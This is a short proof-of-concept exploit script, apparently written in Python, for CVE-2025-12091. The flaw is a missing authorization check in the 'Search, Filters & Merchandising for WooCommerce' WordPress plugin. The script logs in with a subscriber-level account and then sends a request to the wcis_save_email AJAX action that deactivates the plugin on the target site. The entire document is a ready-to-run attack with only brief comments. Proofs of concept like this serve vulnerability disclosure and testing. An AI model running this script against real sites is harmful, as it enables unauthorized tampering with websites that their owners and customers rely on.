CVE-2025-12091

import requests import sys # CVE-2025-12091 PoC # WordPress plugin: Search, Filters & Merchandising for WooCommerce # Vulnerability: Missing authorization check on wcis_save_email endpoint # CVSS: 4.3 (Medium) target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com' username = sys.argv[2] if len(sys.argv) > 2 else 'subscriber_user' password = sys.argv[3] if len(sys.argv) > 3 else 'user_password' session = requests.Session() # Step 1: Authenticate with WordPress login_url = f'{target_url}/wp-login.php' login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/' } resp = session.post(login_url, data=login_data) # Step 2: Trigger plugin deactivation via vulnerable endpoint ajax_url = f'{target_url}/wp-admin/admin-ajax.php' payload = { 'action': 'wcis_save_email', 'plugin_action': 'deactivate', 'plugin': 'instantsearch-for-woocommerce/instantsearch-for-woocommerce.php' } resp = session.post(ajax_url, data=payload) print(f'Status Code: {resp.status_code}') print(f'Response: {resp.text}') print('Plugin deactivation attempted.') # Note: Requires valid WordPress account with Subscriber role or higher

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